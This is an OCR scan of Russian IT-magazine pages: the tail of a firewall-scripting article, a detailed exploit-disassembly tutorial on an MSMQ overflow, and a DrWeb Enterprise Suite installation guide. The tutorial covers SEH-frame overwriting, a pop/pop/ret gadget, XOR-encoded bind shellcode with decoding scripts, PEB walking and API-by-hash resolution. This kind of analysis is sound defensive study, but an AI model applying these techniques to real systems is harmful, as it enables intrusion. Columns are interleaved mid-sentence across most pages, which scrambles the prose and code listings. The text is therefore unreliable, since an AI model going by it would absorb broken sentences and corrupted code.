objPort.RemoteAddresses="172.29.0.0/24"
objPort.Enabled = TRUE ' доступ разрешен Завершая тему персональных межсетевых экранов,
' используется список уже открытых портов отмечу, что по утверждениям представителей корпора-
Set colPorts = objPolicy.GloballyOpenPorts
' добавляется новый порт в список уже открытых портов ции Microsoft, в следующей версии операционной систе-
errReturn = colPorts.Add(objPort) мы Windows межсетевой экран будет двусторонним, то есть
можно открывать/закрывать как входящие, так и исходя-
По аналогии для остальных портов вы сможете напи- щие соединения. Что ж, посмотрим, но думаю, подобное
сать подобный сценарий. В приведенном примере указа- нововведение окажется весьма полезным, так как поз-
ние версии протокола IP является необязательным, так волит еще больше защитить рабочие станции и пользо-
как по умолчанию используется IP v4. Как видно из приме- вателей.
ра, сначала открывается порт, затем прописываются необ- Поживем – увидим.
ходимые параметры, такие как вид транспортного прото-
кола, подсеть, которой разрешен доступ и наименование. 1. Don Jones, Jeffery Hicks Advanced VBScript for Microsoft Windows
И в завершении все данные по новому порту добавляются Administrators.
в список уже открытых портов. 2. Windows Server 2003. Справочник администратора.
Аудит и дизассемблирование
эксплоитов
Крис Касперски
Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются
в исходных текстах, но основной функционал заключен в shell-коде, анализ которого
представляет весьма нетривиальную задачу, требующую инженерного склада ума,
развитой интуиции, обширных знаний и… знания специальных приемов дизассемблирования.
С
ообщения о дырах появляются ющих практически весь спектр ап- ния он успел обрасти полусотней дыр,
постоянно. Стоит только загля- паратно-программного обеспечения. в том числе и критических. Ладно, ос-
нуть на www.securityfocus.com Вы до сих пор пользуетесь FireFox, счи- тавим FireFox в покое и возьмем бра-
и… ужаснуться. Каждый день прино- тая его безопасным? Да как бы не так! зузер Opera – почти два десятка оши-
сит по 10-20 новых дыр, затрагива- За свое недолгое время существова- бок (из которых 17 зарегистрировано
58
безопасность
на одном лишь www.securityfocus.com)
быстро прочищают мозги от реклам-
ной шелухи, позиционирующей Opera
не только как самый быстрый, но и по-
настоящему безопасный браузер.
Уязвимости встречаются даже в тек-
стовых браузуерах наподобие Lynx.
Про Internet Explorer лучше вообще
не вспоминать! Стоит ли после этого
удивляться, что черви размножают-
ся со скоростью лесного пожара и ре-
гулярно кладут целые сегменты Сети,
если не весь Интернет!
Программное обеспечение нена-
дежно. Предоставленное самому се-
бе, без ухода и надзора администра-
тора оно быстро становится жертвой
хакерских атак, превращаясь в рас- Рисунок 1. Устройство пакета-убийцы, передаваемого на атакуемый сервер
садник вирусов и червей. Если уязви-
мость затрагивает те компоненты сис- тель дыры должен подтвердить свои поражаемых систем заметно возрас-
темы, без которых можно и обойтись слова программой, демонстрирую- тет (тем более что большинство экс-
(например, Message Queuing или RPC щей наличие уязвимости, но не совер- плоитов закладывается на фиксиро-
DCOM), их можно отключить или огра- шающей ничего деструктивного. В за- ванные адреса, варьирующие от вер-
дить брандмауэром. В противном слу- рубежной литературе она называется сии к версии, поэтому эксплоит, раз-
чае, необходимо установить заплатку exploit proof-of-concept. работанный для английской версии
от «родного» производителя или сто- Часто к эксплоиту прилагается пе- Windows 2000, может не работать
ронних поставщиков. Проблема в том, речень тестируемых (tested) и уязви- в русской и наоборот).
что официальные обновления зачас- мых (affected) платформ и все, что не- Эксплоиты обычно запускают
тую выпускаются лишь через несколь- обходимо сделать, – это запустить для удовлетворения чувства собствен-
ко месяцев после официального же эксплоит на своей системе и посмот- ного любопытства. Никакой жизненной
признания дыры. А сколько дыр так и реть, справится ли он с ней или нет. необходимости в этом нет. Просто ин-
остаются «непризнанными»? Естественно, атаковать «живой» сер- тересно и ничего более. Но изучить код
Производителей программного вер или основную рабочую станцию эксплоита, чтобы знать, что вы вообще
обеспечения можно понять: ведь пре- может только самоубийца (или очень запускаете, попутно устраняя ошиб-
жде, чем признавать дыру дырой, не- безответственный человек) и все по- ки, допущенные его разработчиками
обходимо убедиться, что это именно тенциально опасные эксперименты и адоптируя shell-код к своей систе-
дыра, а вовсе не «авторское видение следует выполнять на «копии» сер- ме, корректируя фиксированные адре-
функциональности» и добиться устой- вера/рабочей станции, специально са при необходимости, никогда не по-
чивого воспроизведения сбоя. У мно- предназначенной для тестовых це- мешает.
гих компаний существует политика лей. Под VMWare и другими эмулято-
замалчивания дыр и уязвимость либо рами подобного типа эксплоиты луч- Как препарируют
молча устраняется с выходом очеред- ше не запускать. Во-первых, ряд вре- эксплоиты
ной версии продукта (кумулятивного доносных эксплоитов распознает на- Основной код эксплоита, как правило,
пакета обновления), либо не исправ- личие виртуальных машин и отказы- пишется на переносимых высокоуров-
ляется вообще! Яркий пример тому – вается работать. Во-вторых, вырвать- невых языках, таких как Си/Си++, Perl,
уязвимость «MS IE (mshtml.dll) OBJECT ся из застенок виртуальной маши- Python. Экзотика типа Ruby встречает-
tag vulnerability», обнаруженная 23 ап- ны вполне реально (см. статью «По- ся намного реже, но все-таки встреча-
реля 2006 (см. /pipermail/full-disclosure/ бег из-под VMWare», которую мож- ется. В практическом плане это озна-
2006-April/045422.html), и все еще но скачать с ftp://nezumi.org.ru/pub/ чает, что исследователь должен вла-
не признанная Microsoft. vm-escape.zip). деть десятком популярных языков хо-
Чтобы администратор мог спать Отрицательный результат сам тя бы на уровне беглого чтения лис-
спокойно и не дергаться каждые пять по себе еще ничего не доказывает. тингов. Впрочем, в девяти из деся-
минут, пытаясь обнаружить в логах Даже если атака не удалась, у нас нет ти случаев, ничего интересного в них
брандмауэра «что-то необычное», пер- никаких оснований считать, что сис- не встречается, и весь боевой заряд
вым делом необходимо выяснить – тема находится в безопасности. И это концентрируется в «магических» стро-
действительно ли вверенная ему сис- не паранойя, а реальный факт, с кото- ковых массивах, оформленных в сти-
тема уязвима? Далеко не всем сооб- рым следует считаться. Возможно, это ле «\x55\x89\xE5…\xC7\x45\xFC». Вот
щениям о дырах можно верить. По об- просто эксплоит такой кривой, но сто- это и есть shell-код в ASCII-представ-
щепринятой практике, первооткрыва- ит его слегка подправить, как список лении. Высокоуровневый код – всего
60
безопасность
к анализу массива offsets, необходимо определить его мес-
тоположение в пакете-убийце, вызывающем переполнение.
Приведенный фрагмент базового кода собирает все мас-
сивы в непрерывный буфер, передаваемый на атакуемый
сервер (см. листинг 1).
Вначале пакета (см. рис. 1) располагается RPC-заго-
ловок dce_rpc_header1, за ним идет NetBIOS-имя атакуе-
мого узла и тег private. На некотором отдалении от начала
заголовка, по смещению 438 (1B6h) лежит массив offsets,
сразу за концом которого идет shell-код. Далеко за ним об-
наруживается еще один RPC-заголовок dce_rpc_header2
и dce_rpc_header3 (на рис. 1 не показан). Все остальное
пространство пакета заполнено командами NOP (90h).
Процесс формирования пакета хорошо наблюдать под
отладчиком (в данном случае использовался Microsoft Visual
Studio Debugger) или перехватить уже готовый пакет, ис-
пользуя sniffer.
Сразу же возникает вопрос – в каком именно месте воз-
Рисунок 2. Расположение SEH-фреймов относительно
никает переполнение и каким именно образом происходит переполняющихся буферов
передача управления на shell-код? Запустив MSMQ-служ-
бу под отладчиком, мы увидим, что массив offsets ложит- Допустим, никакого комментария у нас бы не было.
ся прямо поверх SEH-фрейма, подменяя его содержимое, И что тогда? Загружаем mqsvc.exe в hiew, двойным нажа-
а shell-код затирает адрес возврата из функции, заменяя тием клавиши <ENTER> переходим в дизассемблерный ре-
RET произвольным адресом, указывающим в «космос», при жим, нажимаем <F5> и вводим адрес «.4014E9» (точка ука-
обращении к которому возбуждается исключение и… уп- зывает, что это именно адрес, а не смещение).
равление получает подложный SEH-фрейм, передающий Видим:
управление на shell-код. Все просто! Главное – отладчик
иметь! И… установленную службу Message Queuing, кото- Листинг 3. Последовательность pop reg/pop reg/retn,
содержащаяся в файле mqsvc.exe
рой в распоряжении кодокопателя может и не быть. К то-
му же мы договорились, прежде чем запускать эксплоит ; вытолкнуть одно двойное слово из стека
.004014E9: 5F pop edi
(пусть даже под отладчиком!), сначала реконструировать ; вытолкнуть следующее двойное слово
его алгоритм. .004014EA: 5E pop esi
; выткнуть адрес возврата и передать по нему управление
А как мы его можем реконструировать? Хорошая голово- .004014EB: C3 retn
ломка для знатоков! Отбросив RPC-заголовки, мы остаем-
ся только с массивом offsets и shell-кодом. Очевидно, сме- Естественно, данный способ не универсален и вообще
щение массива offsets выбрано не случайно и играет в пе- говоря ненадежен, поскольку, в другой версии mqsvc.exe
реполнении ведущую роль, поскольку bind_shellcode пред- адрес «магической» последовательности наверняка будет
ставляет собой вполне «стандартный» shell-код, встречаю- иной, хотя в Windows 2000 Home, Windows 2000 Professional,
щийся во многих других эксплоитах и совпадающий с ним Windows 2000 Server/AdvServer адреса совпадают, пос-
байт-в-байт. кольку используется одна и та же версия mqsvc.exe, а вот
Рассмотрим массив offsets поближе (см. листинг 2). в Windows XP адрес уже «уплывает».
В начале массива расположена довольно характерная Интуитивно мы чувствуем, что передача управления
структура, состоящая из двух двойных слов, первое из ко- на shell-код осуществляется через RET, но остается не-
торых включает в себя двухбайтовую команду безусловного понятным каким образом указатель на shell-код мог очу-
перехода JMP SHORT (опкод – EBh), дополненную до двой- титься в стеке, ведь никто туда его явно не засылал! За-
ного слова парой NOP (впрочем, поскольку они все равно пихать в переполняющийся буфер можно все, что угодно,
не исполняются, здесь может быть все, что угодно). Следу- но при этом придется указать точный адрес размещения
ющее двойное слово указывает куда-то вглубь адресного shell-кода в памяти, а для этого необходимо знать значе-
пространства – 004014E9h и, судя по значению, принадле- ние регистра ESP на момент атаки, а оно в общем случае
жит прикладному приложению. В данном случае – програм- неизвестно.
ме mqsvc.exe, реализующей службу Message Queuing. Ком- Структурные исключения позволяют элегантно решить
ментарий, заботливо оставленный создателем эксплоита, эту задачу. Вместо того, чтобы затирать адрес возврата
говорит, что по этому адресу он ожидает увидеть конструк- (как делало это целое поклонение кодокопателей), мы под-
цию pop reg/pop reg/retn. Это классическая последователь- меняем оригинальный SEH-фрейм атакуемой программы
ность, используемая для передачи управления через под- своим. Теоретически, SEH-фреймы могут быть расположе-
ложные SEH-фреймы, подробно описанная в статье «Экс- ны в любом месте, но практически все известные компи-
плуатирование SEH в среде Win32» (http://www.securitylab.ru/ ляторы размещают их в стеке, на вершине кадра, прина-
contest/212085.php), написанной houseofdabus. Он же напи- длежащего данной функции, то есть по соседству с сохра-
сал и разбираемый нами эксплоит. ненным EPB и RET:
62
безопасность
ных в памяти с таким расчетом, чтобы они совпадали с те-
кущими SEH-фреймами атакуемой программы. Это самая
капризная часть эксплоита, поскольку дислокация фрей-
мов зависит как от версии атакуемой программы (добав-
ление или удаление локальных переменных внутри уязви-
мой функции изменяет расстояние между фреймом и пе-
реполняющимся буфером), так и от начального положе-
ния стека на момент запуска программы (за это отвеча-
ет операционная система). В дополнение к этому необхо-
димо следить за тем, чтобы handler действительно указы-
вал на pop reg/pop reg/ret (add esp,8/ret), а не на что-то дру- Рисунок 3. Расшифровка shell-кода в hiew
гое. В противном случае exploit работать не будет, но если
все значения подобранны правильно, управление получит повнимательнее, мы с удовлетворением обнаруживаем
bind_shellcode, который мы сейчас попробуем дизассемб- тривиальный расшифровщик в лице инструкции XOR, сле-
лировать, но прежде необходимо перевести ASCII-строку довательно, точка входа в shell-код определена нами пра-
в двоичный вид, чтобы его «проглотил» hiew или IDA PRO. вильно и все, что нужно, – это расшифровать его, а для это-
Вместо того, чтобы писать конвертор с нуля, воспользу- го мы должны определить значение регистров EBX и ECX,
емся возможностями компилятора языка Си, написав не- используемых расшифровщиком.
сложную программу, состоящую фактически всего из од- С регистром ECX разобраться несложно – он инициа-
ной строки (остальные – объявления): лизируется явно путем нехитрых математических преоб-
разований:
Листинг 8. Программа, сохраняющая ASCII-массив shellcode[]
в одноименный двоичный файл, пригодный для дизассемблирования sub ecx,ecx→ecx:=0; sub ebx,-50h→add ecx,50h→ecx := 50h
#include <stdio.h>
// сюда помещаем массив для преобразования
char shellcode[]="\xXX\xXX\xXX\xXX"; то есть на входе в расшифровщик ECX будет иметь зна-
main(){FILE *f;if(f=fopen("shellcode","wb")) ↵ чение 50h – именно столько двойных слов нам предстоит
fwrite(shellcode, sizeof(shellcode),1,f);}
расшифровать.
Выделяем массив bind_shellcode и копируем в нашу про- С регистром EBX все обстоит намного сложнее, и, чтобы
грамму, по ходу дела переименовывая его в shellcode. Ком- вычислить его значение, необходимо углубиться во внут-
пилируем с настройками по умолчанию, запускаем. На дис- ренние структуры данных сопроцессора. Команда FLDZ по-
ке образуется файл shellcode, готовый к загрузке в IDA Pro мещает на стек сопроцессора константу +0.0, а команда
или hiew (только не забудьте переключить дизассемблер FSTENV сохраняет текущую среду сопроцессора по адре-
в 32-разрядный режим!). су [esp-0Ch]. Открыв «Intel Architecture Software Developer's
Начало дизассемблерного листинга выглядит так: Manual Volume 2: Instruction Set Reference», среди прочей по-
лезной информации мы найдем и сам формат среды FPU:
Листинг 9. В начале shell-кода расположен расшифровщик,
расшифровывающий весь остальной код Листинг 10. Псевдокод команды fstenv, сохраняющей среду FPU
; ECX := 0 FPUControlWord → SRC(FPUControlWord);
00000000: 29C9 sub ecx,ecx FPUStatusWord → SRC(FPUStatusWord);
; EBX := 50h FPUTagWord → SRC(FPUTagWord);
00000002: 83E9B0 sub ecx,-050 FPUDataPointer → SRC(FPUDataPointer);
; загрузить +0.0 на стек FPU FPUInstructionPointer → SRC(FPUInstructionPointer);
00000005: D9EE fldz FPULastInstructionOpcode → SRC(FPULastInstructionOpcode);
; сохранить среду FPU в памяти
00000007: D97424F4 fstenv [esp][-0C]
; EBX := &fldz Наложив эту структуру на стек, мы получим вот что:
0000000B: 5B pop ebx
0000000C: 81731319F50437 xor d,[ebx][13],03704F519 Листинг 11. Карта размещения среды в стековой памяти
; ^расшифровываем двойными словами
0000000C ->- fstenv -> - 0Ch FPUControlWord
; EBX += 4:следующее двойное слово - 08h FPUStatusWord
00000013: 83EBFC sub ebx,-004 - 04h FPUTagWord
; мотаем цикл ->--- esp ---> 00h FPUDataPointer
00000016: E2F4 loop 00000000C (1) <- pop ebx -<- + 04h FPUInstructionPointer
; зашифрованная команда + 08 FPULastInstructionOpcode
00000018: E59F in eax,09F
; зашифрованная команда
0000001A: EF out dx,eax Из этой схемы видно, что команда POP EBX выталкива-
ет в регистр EBX адрес последней FPU-инструкции, кото-
Первые 8 команд более или менее понятны, а вот даль- рой и является FLDZ, расположенная по смещению 5h (ус-
ше начинается явный мусор, типа инструкций IN и OUT, ко- ловно). При исполнении на «живом» процессоре смещение
торые при попытке выполнения на прикладном режиме воз- будет наверняка другим, и, чтобы не погибнуть, shell-код
буждают исключение. Тут что-то не так! Либо точка входа должен определить, где именно он располагается в памя-
в shell-код начинается не с первого байта (но это противо- ти. Разработчик shell-кода применил довольно необычный
речит результатам наших исследований), либо shell-код за- подход, в то время как подавляющее большинство ограни-
шифрован. Присмотревшись к первым восьми командам чивается тривиальным CALL/POP REG. Сложив получен-
Листинг 12. Скрипт для IDA Pro, расшифровывающий shell-код Листинг 14. Код, вычисляющий базовый адрес KERNEL32.DLL
через PEB
auto a,x; // объявление переменных
for(a = 0; a < 0x50; a++) // цикл расшифровки ; ebx := 0
{ seg000:00000069 31 DB xor ebx, ebx
// читаем очередное двойное слово ; PEB
x=Dword(MK_FP("seg000",a*4+0x18)); seg000:0000006B 64 8B 43 30 mov eax, fs:[ebx+30h]
// расшифровываем ; PEB_LDR_DATA
x = x ^ 0x3704F519; seg000:0000006F 8B 40 0C mov eax, [eax+0Ch]
//записываем расшифрованное значение ; InInitializationOrderModuleList
PatchDword(MK_FP("seg000",a*4+0x18),x); seg000:00000072 8B 70 1C mov esi, [eax+1Ch]
} ; EAX := *ESI
seg000:00000075 AD lodsd
; BASE of KERNEL32.DLL
Нажимаем <Shift+F2>, в появившемся диалоговом окне seg000:00000076 8B 40 08 mov eax, [eax+8]
вводим вышеприведенный код, запуская его на выполне-
ние по <Ctrl+Enter>. В hiew расшифровка осуществляется С первой командой, обнуляющей EBX через XOR, все по-
еще проще. Открываем файл shellcode, однократным нажа- нятно. Но вот вторая… что-то считывает из ячейки, лежа-
тием клавиши <ENTER> переводим редактор в hex-режим, щей по адресу FS:[EBX+30]. Селектор FS указывает на об-
подводим курсор к смещению 18h – туда, где кончается рас- ласть памяти, где операционная система хранит служеб-
шифровщик и начинается зашифрованный код (см. лис- ные (и практически никак недокументированные) данные
тинг 9), переходим в режим редактирования по <F3>, на- потока. К счастью, в нашем распоряжении есть Интернет.
жимаем <F8> (Xor) и вводим константу шифрования, за- Набираем в Googlе «fs:[30h]» (с кавычками!) и получаем ку-
писанную с учетом порядка байтов на x86 задом наперед: чу ссылок от рекламы картриджей TK-30H до вполне вме-
19h F5h 04h 37h и жмем <F8> до тех пор, пока курсор не дой- няемых материалов, из которых мы узнаем, что в ячейке
дет до конца файла. Сохраняем изменения клавишей <F9> FS:[30h] хранится указатель на Process Enviroment Block –
и выходим (см. рис. 3). блок окружения процесса или сокращенно PEB.
После расшифровки shell-код можно дизассемблиро- Описание самого PEB (как и многих других внутренних
вать в обычном режиме. Начинаем анализ и… тут же вля- структур операционной системы) можно почерпнуть из за-
пываемся в древний, но все еще работающий антидизас- мечательной книги «The Undocumented Functions Microsoft
семблерный трюк: Windows NT/2000», электронная версия которой доступна
по адресу: http://undocumented.ntinternals.net.
Листинг 13. Древний антидизассемблерный трюк – Из нее мы узнаем, что по смещению 0Ch от начала PEB
прыжок в середину команды
лежит указатель на структуру PEB_LDR_DATA, по смеще-
; CODE XREF: seg000:0000001C↓p нию 1Ch от начала которой лежит список. Не указатель
seg000:019 loc_19:
; скрытая команда в операнде на список, а сам список, состоящий из двух двойных слов:
seg000:019 6A EB push FFFFFFEBh указателя на следующий LIST_ENTRY и указателя на экзем-
; продолжение скрытой команды
seg000:01B 4D dec ebp пляр структуры LDR_MODULE, перечисленных в порядке
; вызов в середину push инициализации модулей, а первым, как известно, инициа-
seg000:01C E8 F9 FF FF FF call loc_19+1
; сохраняем все регистры лизируется KERNEL32.DLL.
seg000:021 60 pusha
Листинг 15. Недокументированная структура PEB_LDR_DATA
Команда «CALL LOC_19+1» прыгает куда-то в сере- /* 00 */ ULONG Length;
дину инструкции PUSH, засылающей в стек константу /* 04 */ BOOLEAN Initialized;
/* 08 */ PVOID SsHandle;
FFFFFFEBh, в которой опытные кодокопатели уже наверня- /* 0C */ LIST_ENTRY InLoadOrderModuleList;
ка увидели инструкцию безусловного перехода, заданную /* 14 */ LIST_ENTRY InMemoryOrderModuleList;
/* 1C */ LIST_ENTRY InInitializationOrderModuleList;
опкодом EBh, а вся команда выглядит так: EBh 4Dh, где 4Dh
«отрываются» от инструкции DEC EBP. Важно не забывать, Описание самой структуры LDR_MODULE выглядит
что PUSH с опкодом 6Ah – это знаковая команда, то есть так (кстати говоря, в «The Undocumented Functions Microsoft
никаких FFh в самом опкоде нет, поэтому вместо перехода Windows NT/2000» допущена грубая ошибка – пропущен
по адресу EBh FFh (как это следует из дизассемблерного union):
текста) мы получаем переход по адресу EBh 4Dh (как это
следует из машинного кода), что совсем не одно и то же! Листинг 16. Недокументированная структура LDR_MODULE
Сам переход, кстати говоря, относительный и вычисляет- typedef struct _LDR_MODULE {
ся от конца команды JMP, длина которой в данном случае union order_type
{
равна двум. Складываем 4Dh (целевой адрес перехода) /* 00 */ LIST_ENTRY InLoadOrderModuleList;
с 1Ah (адрес самой команды перехода – loc_19 + 1 = 1Ah) /* 00 */ LIST_ENTRY InMemoryOrderModuleList;
64
безопасность
/* 00 */ LIST_ENTRY InInitializationOrderModuleList; ; если конец, выходим из цикла
} seg000:00000043 74 07 jz short loc_4C
/* 08 */ PVOID BaseAddress; ; следующие 2 строчки хэшируют имя
/* 0C */ PVOID EntryPoint; seg000:00000045 C1 CA 0D ror edx, 0Dh
/* 10 */ ULONG SizeOfImage; seg000:00000048 01 C2 add edx, eax
/* 14 */ UNICODE_STRING FullDllName; ; мотаем цикл
/* 18 */ UNICODE_STRING BaseDllName; seg000:0000004A EB F4 jmp short loc_40
/* 1C */ ULONG Flags; seg000:0000004C
/* 20 */ SHORT LoadCount; ; CODE XREF: seg000:00000043↑j
/* 22 */ SHORT TlsIndex; seg000:0000004C loc_4C:
/* 24 */ LIST_ENTRY HashTableEntry; ; это «наш» хэш?
/* 28 */ ULONG TimeDateStamp; seg000:0000004C 3B 54 24 28 cmp edx, [esp+28h]
} LDR_MODULE, *PLDR_MODULE; ; продолжаем поиск, если не наш
seg000:00000050 75 E5 jnz short loc_37
; ordinalTableRVA
Самая трудная часть позади. Теперь мы точно знаем, seg000:00000052 8B 5F 24 mov ebx, [edi+24h]
; ordinalTable VA
что EAX содержит базовый адрес KERNEL32.DLL. Продол- seg000:00000055 01 EB add ebx, ebp
жаем анализировать дальше. ; index
seg000:00000057 66 8B 0C 4B mov cx, [ebx+ecx*2]
; exportAddressTableRVA
Листинг 17. Вызов API-функции по хэш-именам seg000:0000005B 8B 5F 1C mov ebx, [edi+1Ch]
; exportAddressTable VA
; esi := &MyGetProcAddress seg000:0000005E 01 EB add ebx, ebp
seg000:00000079 5E pop esi ; вот она наша функция!!!
; #LoadLibraryA seg000:00000060 03 2C 8B add ebp, [ebx+ecx*4]
seg000:0000007A 68 8E 4E 0E EC push 0EC0E4E8Eh ; сохраняем в EAX
; base of KERNEL32.DLL ; восстанавливаем регистры
seg000:0000007F 50 push eax seg000:00000063 89 6C 24 1C mov [esp+1Ch], ebp
; MyGetProcAddress seg000:00000067 61 popa
seg000:00000080 FF D6 call esi ; возвращаемся из функции
seg000:00000068 C3 retn
66
безопасность
Настраиваем
DrWeb Enterprise Suite
Антон Борисов
Мало кто ставит под сомнение факт, что на современном рабочем месте должен
стоять антивирусный пакет. Сегодня вирусы берут не умением, а числом. В основном
они не разрушают информацию – они создают условия к утечке коммерческой информации.
Как защитить предприятие от вирусной активности?
С
одной стороны, можно отфиль- кие продукты, так и продукты формата ти происходит принудительная очист-
тровывать входящие и исходя- Open Source. Можно настроить систе- ка от транзитных вирусных приложе-
щие почтовые сообщения че- му фильтрации содержимого, которое ний. А стоит ли производить повсемес-
рез почтовый шлюз. Здесь замеча- проходит через proxy-серверы, здесь тное развертывание антивирусных па-
тельно вписываются как коммерчес- также достаточно альтернатив. По су- кетов на каждом рабочем месте? Без-
68
безопасность
условно, никто это не ставит под сомнение. Но что имен- пуска сервера. Здесь пока преждевременно думать о све-
но выбрать в качестве основы, чтобы был централизован- жих базах и версиях, т.к. мы затем настроим обновление
ный центр обновления антивирусных агентов, имелся еди- ПО и новые версии получим по сети, через сервис GUS –
ный центр управления и велась оперативная статистика? Global Update System.
На мой взгляд, стоит обратить внимание на антивирусные Серверная часть антивирусного ПО доступна как для
решения масштаба предприятия (Enterprise Solutions). Windows-платформы, так и для UNIX/Linux-систем. Ког-
На сегодняшний день наиболее распространенными яв- да вы решите разворачивать систему на базе Linux-сер-
ляются enterprise-решения от компаний: вера, то предварительно узнайте, какая GLIBC-библио-
Symantec – Symantec AntiVirus Enterprise Edition [1]. тека используется в вашей системе, и забирайте нужную
Eset Software – NOD32 Enterprise Edition [2]. вам версию.
Sophos – Endpoint Security [3]. Здесь и далее я буду расcматривать установку на Linux-
McAfee – McAfee Total Protection Enterprise [4]. сервер. Итак, забираем с сайта архив, совместимый с вер-
F-Secure – F-Secure Anti-Virus for Workstations [5]. сией GLIBC-библиотеки в вашей системе (для моей сис-
Panda – Panda EnterpriSecure Antivirus [6]. темы – Slackware Linux 10.2 – оказался подходящим архив
«ООО «Доктор Веб» – DrWeb Enterprise Suite [7]. для Debian [17]):
«Лаборатория Касперского» – Kaspersky Corporate
Suite [8]. $ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
$ wget ftp://ftp.drweb.com/pub/drweb/esuite/ ↵
Последние два продукта выпускаются отечественны- drweb-es-4.33-200510280-unices.tar.gz
$ tar xzvf drweb-es-4.33-200510280-linux-debian-sarge.tar.gz
ми компаниями. $ tar xzvf drweb-es-4.33-200510280-unices.tar.gz
Что из себя представляет антивирусное программное
обеспечение масштаба предприятия? Это в первую оче- Создаем группу и пользователя в системе, от имени
редь специализированный продукт, к примеру, от одной которого будет запускаться серверная часть антивирус-
из вышеперечисленных компаний. Во-вторых, это клиент- ного пакета:
серверный программный комплекс, задача серверной час-
ти в котором – обеспечивать централизованное обновле- # groupadd drwcs
# adduser drwcs
ние по сети антивирусного обеспечения для клиентов, вес-
ти журнал, где учитывается, на какой именно рабочей стан- В директорию /opt копируем содержание распакованно-
ции произошел тот или иной случай инфицирования, а так- го архива drweb-es-4.33-200510280-unices.tar.gz:
же некоторые другие события. А задача клиентской час-
ти, которая была предварительно установлена на рабочей # cp -R opt /opt/drwcs
# chown -R drwcs:drwcs /opt/drwcs
станции, – предотвращать «инфекции», производить «ле-
чение». В целом общий функционал у всех решений оди- На этом шаге установка почти завершена. Будучи ком-
наков. Что же касается деталей, то здесь намного интерес- мерческим продуктом, DrWeb Enterprise Suite не будет рабо-
нее, т.к. приходится рассматривать такие критерии, как со- тать без ключа активации. Ключ генерирует дилер компа-
отношение цена/качество, сертификация в отечественных нии или сама компания на срок подписки, например, на год.
агентствах по информатизации, возможность использова- В нем также учитывается, для скольких клиентских мест
ния на объектах повышенной секретности и т. п. куплена поддержка. Будем считать, что ваша компания
Наша компания остановила свой выбор на антивирус- купила поддержку для 100 рабочих мест, ключ передан по
ном пакете DrWeb. Легковесный антивирус – размер анти- электронной почте или другим способом. Переносим его на
вирусного клиента, устанавливаемого на рабочем месте, наш Linux-сервер. Будем считать, что файл – enterprise.key –
достаточно компактен – несколько мегабайт. Есть русский находится на вашей рабочей станции UNIX и передаваться
язык. И что немаловажно – грамотная техническая подде- будет по SSH-протоколу.
ржка. Вполне возможно, что вам и не придется обращаться
за помощью, т.к. описания и документация, идущие с про- $ scp enterprise.key drwcs@drwcs.lan.net:/opt/drwcs/etc
дуктом, охватывают, пожалуй, все ключевые моменты, ко-
торые могут возникнуть. Однако в вашей организации в ка- Таким образом, мы передали по SSH-протоколу ключ ак-
честве настольного антивируса может выступать решение тивации, от которого зависит работа серверной части ком-
и другой компании, благо их на рынке не две и даже не три. плекса. Не лишним будет сказать, что данный ключ акти-
Выбор на самом деле более чем богатый. Наш выбор прохо- вации – секретная часть комплекса, которая используется
дил достаточно давно, и в целом работа продукта на протя- только на серверной стороне.
жении нескольких лет нас удовлетворяла, поэтому вполне Для работы комплекса следует еще сгенерировать
логичным был шаг, что в дальнейшем мы перешли на ком- приватный и публичный ключи. Что это такое и для чего
плексное решение – DrWeb Enterprise Suite. нужно?
Чтобы клиентская часть комплекса, которая устанавли-
Установка программного комплекса вается на рабочую станцию, смогла подключиться к серве-
С сайта компании загрузите серверную часть. В ее состав ру и быть им опознана, используется асимметричная схе-
входит и базовый комплект для агента – это ядро и те ан- ма криптования, в какой-то степени аналогичная PGP. С по-
тивирусные базы, которые были доступны на момент вы- мощью публичного ключа, который используется на рабо-
exit 0
# /etc/rc.d/rc.drwebd start
70
безопасность
в режиме runtime. Третий компонент от-
вечает за проверку входящей и исходя-
щей почты. То есть как только вы начи-
наете получать email с помощью почто-
вого клиента, то все входящие сообще-
ния будут проверены еще и этим ком-
понентом.
Чем хороша статистика, так это тем,
что вы точно знаете, где и когда произо-
шел факт инфицирования (см. рис. 2).
А также названия наиболее «популяр-
ных» вирусов в вашей организации, ко-
торые были излечены (а иначе отку-
да бы вы знали об их существовании?).
Это здорово, когда организация неболь-
шая и подключений к глобальным сетям
нет. Однако и в таких условиях вероят-
ность того, что на ПЭВМ организации
есть хотя бы один макровирус в доку- Рисунок 2. Статистика по группе «Online».
ментах Microsoft Word, в различного ро-
да архивах, которые принесли сотрудники из дома, от зна- Согласно расписанию происходит обновление комплек-
комых или еще откуда-нибудь, будет отличаться от нуле- са. Однако что именно обновлять? Чтобы узнать это, сто-
вой. Лучше изначально считать, что «пациент скорее ин- ит заглянуть в пункт «Administration → Configure Repository».
фицирован, нежели здоров». Однако и панику разводить, Репозитарий представлен 5 частями: сам сервер, антиви-
конечно же, не стоит. русные базы, клиентская часть, консоль управления, агент.
Серверная часть антивирусного комплекса периоди- В настройках репозитария можно указать proxy-сервер, че-
чески производит действия, указанные в расписании. На- рез который вы выходите в Интернет и через который будут
пример, каждый час происходит проверка на наличие но- забираться новые версии продукта. Допустимо настраивать
вых обновлений и антивирусных баз. На рис. 3 приведе- репозиторий как по отдельным компонентам, так и в це-
но расписание, которое будет использовано по умолча- лом (см. рис. 4, 5).
нию. Вы можете изменить его, добавив новый пункт или Работа над программным комплексом ведется посто-
изменить время, когда необходимо производить те или янно, и появляются все новые и новые функции. Когда я
иные действия. только начал работать с Enterprise Server, многих функ-
ций просто не было. Например, не было просмотра теку-
щей загруженности сервера, не было статистики по сум-
марному трафику, прошедшему через антивирусный сер-
вер и т. п. В новой версии (речь идет о 4.33) они представ-
лены и, как мне кажется, очень удачно вписываются в об-
щую картину (см. рис. 6, 7).
Рассказ был бы неполным, если бы я не упомянул о том,
как делать регулярную выгрузку базы. Какая цель здесь
Рисунок 3. Расписание сервера.
преследуется? Во-первых, самое ценное в работе антиви-
русного пакета – это информация о зарегистрированных
станциях, точнее о hash-ключах, которые формируются
при регистрации. Она хранится как на станции, так и в ба-
зе антивирусного сервера. Отчасти по этим ключевым дан-
ным происходит «узнавание» зарегистрированных станций.
Во-вторых, знать, когда и где произошла «эпидемия» так-
же важно. Поэтому даже если физически произойдет от-
каз сервера и у вас будет резервная копия антивирусной
базы, то ввод в эксплуатацию нового серверного «желе-
за», взамен отказавшего займет довольно короткое вре-
мя. Не нужно будет заново регистрировать станций. Смот-
рите файл export_idb.sh.
#!/bin/sh
#########################################################
